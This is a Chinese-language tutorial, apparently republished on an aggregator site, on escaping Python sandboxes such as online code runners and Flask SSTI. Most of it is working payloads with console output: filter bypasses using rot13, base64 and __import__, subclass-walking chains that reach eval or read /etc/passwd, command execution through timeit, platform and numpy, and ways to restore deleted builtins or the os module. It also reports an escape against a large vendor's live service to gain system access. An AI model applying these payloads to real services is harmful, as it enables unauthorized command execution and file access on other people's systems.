Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Viewing all articles
Browse latest Browse all 9596

Python Sandboxie Escape 沙盒绕过

$
0
0
前言

在 SSTI 服务端模版注入中,已经接触到了python沙箱逃逸的方法。其命令执行本质上可以理解为一种沙箱绕过,它和Python沙箱绕过的方法是通用的。

Python沙箱

Python语言机制或解释器本身没有沙箱,这里所说的“沙箱”是类似一些网站提供在线Python脚本执行,而又不想用户直接使用Python执行系统命令对系统造成危害,而对Python的一个“阉割”版本。被“阉割”的版本删去了命令执行,服务器文件读写等相关函数或文件。

沙箱逃逸思路

对于Python的沙箱逃逸而言,实现目的的最终想法如下:

使用 os 包中 的 popen , system 两个函数来直接执行shell 使用 commands 模块中的方法 使用 subprocess 使用写文件到指定位置,再使用其他辅助手段 import os import subprocess import commands # 直接输入shell命令,以ifconfig举例 os.system('ifconfig') os.popen('ifconfig') commands.getoutput('ifconfig') commands.getstatusoutput('ifconfig') subprocess.call(['ifconfig'],shell=True) import 关键字过滤

在一些CTF中,经常会过滤一些import包的关键字,这样就不能直接利用 os 等包进行命令执行了。如果关键字被过滤,如 sys , os , commands , subprocess 等被过滤。可以对原始关键字进行各种加密解密来绕过关键字检测。如果面临的沙盒不能导入任何包,那可能就是 import 关键字被过滤了。可以尝试使用如下方式来绕过 :

__import__函数 res = __import__("pbzznaqf".decode('rot_13')) res.getoutput('ifconfig') importlib库 import importlib res = importlib.import_module("pbzznaqf".decode('rot_13') print res.getoutput('ifconfig') 加密解密绕过字符串过滤 >>> import base64 >>> base64.b64encode('__import__') 'X19pbXBvcnRfXw==' >>> base64.b64encode('os') 'b3M=' [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'] .__dict__['o'+'s'].__dict__['sy'+'stem']('id')
Python Sandboxie Escape 沙盒绕过
根对象与继承树

回顾Python中的一些特殊方法:

__class__ 返回调用的参数类型

__class__ 返回基类

__mro__ 在当前环境下追溯继承树

__subclasses__() 返回子类

__globals__ 作用是以一个 dict 返回函数所在模块命名空间中的所有变量。

解析一下上节的payload来理解根对象和对象继承树在绕过沙盒时的作用:

在上节中的 [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id') payload中,大致原理是, [] , {} , '' 是 Python 中的内置变量,通过内置变量的属性和函数去访问当前 Python 环境中的继承树,可以从继承树爬到根对象类。利用 __subclasses__() 等函数向下爬向每一个 object ,这样就可以利用当前的 Python 环境执行任意代码。 >>> ''.__class__ # 获取'' 的参数类型 <type 'str'> >>> ''.__class__.__bases__ # ''的基类 (<type 'basestring'>,) >>> ''.__class__.__bases__[0] <type 'basestring'> >>> ''.__class__.__mro__ # ''的继承树 (<type 'str'>, <type 'basestring'>, <type 'object'>) >>> ''.__class__.__mro__[-1] # object是所有Python对象的基类,获取它 <type 'object'> >>> ''.__class__.__mro__[-1].__subclasses__() # 利用基类向下追溯,获取敏感类 [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] >>>

然后就可以构造利用代码:

Python2的利用代码:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

Python3 的利用代码:

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
Python Sandboxie Escape 沙盒绕过
使用其他类库

在上节使用的是根对象继承追溯的方式去寻找可能的 对象 或 函数 ,从而利用这些语法去绕过关键字等检测。由于Python的库非常多,可以利用一些Python中的内置或者第三方库,而这些库也有命令执行等操作时,就可以尝试导入这些库,去执行命令。

timeit import timeit timeit.timeit("__import__('os').system('dir')",number=1)
Python Sandboxie Escape 沙盒绕过
exec和eval eval('__import__("os").system("id")')
Python Sandboxie Escape 沙盒绕过
platform import platform platform.popen('id').read()
Python Sandboxie Escape 沙盒绕过
numpy from numpy.distutils.exec_command import _exec_command as system2 system2('id')
Python Sandboxie Escape 沙盒绕过
statsmodels import statsmodels.tsa.x13 output = statsmodels.tsa.x13.run_spec('id').stdout.read() raise Exception(output)
Python Sandboxie Escape 沙盒绕过
reload builtins

在 Python 中,不用引用直接使用的内置函数称之为 built-in 函数。也就是我们不用导入而直接使用的如"eval","exec","open"等。

可以使用 dir(__builtins__) 来查看当前的 built-in 函数。可以看到"eval","exec","open", print 等函数都在 built-in 中。

>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip'] >>>

当删除 builtin 中的函数时,在当前环境下就不能使用了。

>>> del __builtins__.__dict__['eval'] >>> del __builtins__.__dict__['open'] >>> del __builtins__.__dict__['exec'] >>> >>> exec("print('test')") Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'exec' is not defined >>>

这种 删除 ,可以理解为一种内存上的 不引用 ,只是在当前允许环境下被 删除 ,而不是真正删除了文件。这种情况下的沙盒如何绕过呢?

__builtin__ 是一个默认引入的module,而这个module可以使用 reload 函数来从文件系统中重新引入。重新引入后当前运行环境中的 __builtin__ 就被 重置 了,这时就可以利用 exec , eval , open 等函数了。

>>> eval("__import__('os').system('id').read()") uid=501(dr0op) gid=20(staff) groups=20(staff) >>> del __builtins__.__dict__['eval'] >>> eval("__import__('os').system('id').read()") Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'eval' is not defined >>> reload(__builtins__) <module '__builtin__' (built-in)> >>> eval("__import__('os').system('id').read()") uid=501(dr0op) gid=20(staff) groups=20(staff) >>>

此时删掉的 eval 函数重新“复活”

但是 reload 函数也是 __builtin__ 中的函数,如果将它删掉。就无法使用上述方式。在文件没有被真正删除时,就可能有方法去绕过。在Python中,有一个模块 imp ,可以利用。

import imp imp.reload(__builtin__) 包恢复

但是如果将 os 包从sys.modules中删除之后,就不能再引入了。同样的,若是没有真正删除 os.py 包,也是可以恢复的。

通过pip安装的package一般会放在如下路径之一:

/usr/local/lib/python2.7/dist-packages /usr/local/lib/python2.7/site-packages ~/.local/lib/python2.7/site-packages

将 os 从 sys.modules 中删除,可以发现不能导入 os 包。

>>> sys.modules['os'] = None >>> import os Traceback (most recent call last): File "<stdin>", line 1, in <module> ImportError: No module named os >>>

Python import 的步骤

python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块> 时,会按如下步骤来进行

如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没> > 有则为 A 创建 module 对象,并加载 A

如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填> > 充到 A 的 dict 中

此时文件并没有被删除,二引入模块,究其本质就时加载了文件,虽然在sys.modules中被删除了,但可以在文件中被重新加载进来。

>>> import sys >>> sys.modules['os']='/usr/lib/python2.7/os.py' >>> import os >>>

以上方式使用了 sys ,如果 sys 也被从 sys.modules 中删除.可以使用 execfile 直接执行文件。

>>> execfile('/usr/lib/python2.7/os.py') >>> system('id') id=501(dr0op) gid=20(staff) groups=20(staff) 实战

在某大型厂商漏洞挖掘过程中,发现其有 Python 线上运行环境,尝试对其进行沙盒绕过,获取系统权限。


Python Sandboxie Escape 沙盒绕过
Python Sandboxie Escape 沙盒绕过
总结

1, 首先判断环境时 Python2 还是 Python3 ,在利用时是有一定区别的。

2, 从根对象去向下寻找可利用函数是比较常见的沙盒绕过,例如在 Flask SSTI 中使用这种方式。例如:

从 [].__class__.__bases__[0].__subclasses__() 或者 ''.__class__.__mro__[2].__subclasses__() 出发,查看可用类。 若类中有 file ,考虑读写操作。 若类中有<class 'warnings.WarningMessage'>,考虑从 .__init__.func_globals.values()[13] 获取 eval , map 等等;又或者从 .__init__.func_globals[linecache] 得到 os 此外还有构造 so 文件的方式,具体可参考。 https://delcoding.github.io/2018/05/ciscn-writeup/
3, 关键字过滤时,使用编码等方式绕过,如 base64 , rot13 等

4, 在真实环境中非CTF测试时,首先考虑其他类库,如 timeit , platform , numpy 等。


Viewing all articles
Browse latest Browse all 9596

Trending Articles